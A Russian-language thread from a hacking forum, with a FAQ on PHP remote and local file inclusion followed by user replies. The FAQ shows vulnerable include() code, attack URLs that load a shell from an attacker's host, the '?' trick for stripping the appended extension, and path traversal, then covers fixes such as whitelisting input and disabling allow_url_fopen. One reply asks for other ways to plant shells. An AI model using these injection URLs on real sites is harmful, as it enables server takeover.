1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Php Injection (Faq)

Тема в разделе "Веб-Уязвимости | Эксплуатация", создана пользователем FTALP, 6 июл 2012.

  1. TopicStarter Overlay
    FTALP

    FTALP Гость

    Азы.


    Php-injection - это форма атаки на сайт, когда атакующий внедряет свой php-код в атакуемое php-приложение.
    При успешной инъекции атакующий может выполнить произвольный (потенциально опасный) пхп-код на целевом сервере. На пример залить шелл. Но сначала подробно разжуем, как это происходит.

    На пример:
    Представим, что у нас имеется сайт, написанный на PHP.
    Представим так же, что сайт использует комманду page=page.html для отображения запрашиваемой страницы.
    Код будет выглядить так:
    Код:
    <?php
    $file =$_GET['page']; //Отображаемая страница
    include($file);
    ?>
    
    Это значит, что все, выводимое на странице, будет внедрено в пхп-код этой страницы. Следовательно атакующий может проделать что-то наподобии:
    Код:
    http://www.атакуемый_сайт.com/index.php?page=http://www.атакующий_серв.com/вредоносный_скрипт.txt? 
    
    Если посмотреть, что происходит после выполнения инклуда, нам представится следующий код, выполненный на целевом сервере:
    Код:
    <?php
    $file ="http://www.атакующий_серв.com/вредоносный_скрипт.txt?"; //$_GET['page'];
    include($file); //$file - это внедренный злоумышленником скрипт
    ?>
    
    Мы видим, что злоумышленник произвел успешную атаку на целевой сервер.

    Подробнее:
    И так, почему же злоумышленник смог провести PHP-инъекцию?
    Все потому что функция include() позволяет запускать удаленные файлы.

    Почему в примере был указан скрипт с расширением *.txt, а не *.php?
    Ответ прост, если бы скрипт имел формат *.php, он бы запустился на сервере злоумышленника, а не на целевой системе.

    Так же был добавлен символ "?" в пути к внедряемому скрипту, чтобы убрать что-либо, находящееся внутри функции include() на целевом сервере.
    Пример:
    Код:
    <?php
    $file =$_GET['page'];
    include($file .".php");
    ?>
    
    Этот скрипт добавляет расширение *.php к чему либо, вызываемомому коммандой include().
    Т.е.
    Код:
    http://www.атакующий_серв.com/вредоносный_скрипт.txt
    
    Превращается в
    Код:
    http://www.атакующий_серв.com/вредоносный_скрипт.txt.php 
    
    С таким именем скрипт не запустится (на сервере злоумышленника не существует фала /вредоносный_скрипт.txt.php)
    По этому, мы и добавляем "?" в конец пути к вредоносному скрипту:
    Код:
    http://www.атакующий_серв.com/вредоносный_скрипт.txt?.php 
    
    о он остается исполняемым.

    Проведение PHP-инъекций через уязвимость функции include().


    RFI - удаленный инклюд при PHP-инъекции.

    Возможность проведения RFI - довольно частая бага в двигах.
    Найти ее можно следущим образом:
    Допустим мы случайно набрели на страницу, в адресной строке броузера заканчивающуюся подобным образом:
    Код:
    /index.php?page=main 
    
    Подставляем вместо main любое бредовое значение, например upyachka
    Код:
    /index.php?page=upyachka 
    
    В ответ получим ошибку:
    Код:
    Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3
    Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3
    Warning: main(): Failed opening 'upyachka.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3 
    
    Это показывает нам на то, что инклуд осуществим.
    Пробуем подставить вместо upyachka сайт с путем до шелла (расширения файла шелла не должно указываться, или указывать его, как было описано выше)

    Код:
    http://www.атакуемый_сервер.com/index.php?file=http://www.сайт_злоумышленника.com/shell 
    
    Таким образом получен шелл. Теперь нужно сообщить админу сайта об уязвимости, что бы он исправил, и злые дядьки не воспользовались багой.

    LFI - локальный инклюд при PHP-инъекции.

    Представим, что мы набрели на тот же уязвимый сайт
    Код:
    /index.php?file=main 
    
    С кодом
    Код:
    <?
    ..
    Include ("folder/$page.htm");
    …
    ?
    
    Это уже локальный инклюд. В этой ситуации возможен только листинг файлов:

    Код:
    /index.php?page=../index.php 
    
    В следующем случае код выглядит вот таким образом:
    Код:
    <?
    ..
    Include ("$dir1/folder/page.php");
    …
    ?>
    
    В этом случае можно прописать путь к шеллу следующим образом:
    Создаем папку folder на сайте, где хранится шелл, в эту папку закидываем шелл:
    Код:
    http://www.сайт_злоумышленника.com/folder/shell.php
    
    Инъекция в таком случае будет выглядить так:
    Код:
    index.php?dir1=http://www.сайт_злоумышленника.com/
    
    Способы защиты

    Рассмотрим скрипт:
    Код:
    <?
    ...
    $module = $_GET['module'];
    include $module . '.php';
    ...
    ?>
    
    Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется *.php и по полученному пути запускается файл.
    Существует несколько способов защиты от такой атаки:

    -Проверять, не содержит ли переменная $module посторонние символы:
    Код:
    <?
    ...
    $module = $_GET['module'];
    if (strpbrk($module, '.?/:')) die('Blocked');
    include $module. '.php';
    ...
    ?>
    


    -Проверять, что $module присвоено одно из допустимых значений:
    Код:
    ...
    $module = $_GET['module'];
    $arr = array('main', 'about', 'links', 'forum');
    if (!in_array($module,$arr)) $module = $arr[0];
    include $module . '.php';
    ...
    ?> 
    
    Второй способ эффективнее и аккуратнее.

    Так же существует проверка существования файла:
    Код:
    <?
    ..
    if (file_exists("$page.php")) //Проверяется файл, если он существует, то происходит запуск.
    {
    Include ("$page.php");
    }
    Else //Есле…
    {
    Echo "Error!";
    }
    …
    ?>
    
    От локального инклюда может помочь следующее:
    Код:
    <?
    ..
    $page=str_replace("/","",$page); // Блокируется возможность перехода в другие дирректории.
    if (file_exists("files/$page.htm "))
    {
    Include ("files/$page.htm");
    }
    Else
    {
    Echo "error";
    }
    …
    ?>
    
    PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации php.ini.

    Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.



    (с) Onthar
     
    • Like Like x 18
    Метки:
  2. TopicStarter Overlay
    X_HaCk

    X_HaCk Гость

    Даже очень интересная статья,Огромное спасибо Please login or register to view links :)
     
    • Like Like x 2
  3. TopicStarter Overlay
    VollShiu

    VollShiu Гость

    выходит? пробывал кто то?
     
  4. smihd

    smihd

    Регистрация:
    29 окт 2012
    Сообщения:
    147
    Симпатии:
    94
    очень полезная статья, будет время надо испробывать
     
    • Like Like x 1
  5. kaiLost

    kaiLost

    Регистрация:
    23 май 2012
    Сообщения:
    104
    Симпатии:
    63
    у него еще весной кажется домен сперли :D
     
    • Like Like x 1
  6. psfdek

    psfdek

    Регистрация:
    19 дек 2013
    Сообщения:
    40
    Симпатии:
    31
    Статья супер, полезна и для взломщиков и для веб мастеров. +
     
  7. zakkk

    zakkk

    Регистрация:
    15 май 2013
    Сообщения:
    226
    Симпатии:
    88
    Их очень мало осталось на нормальных сайтах . Разьве что заливать шел на сайт любителей кошек . Посоветуйте пожалуйста другой способ заливать шелл .
     

Поделиться этой страницей

Загрузка...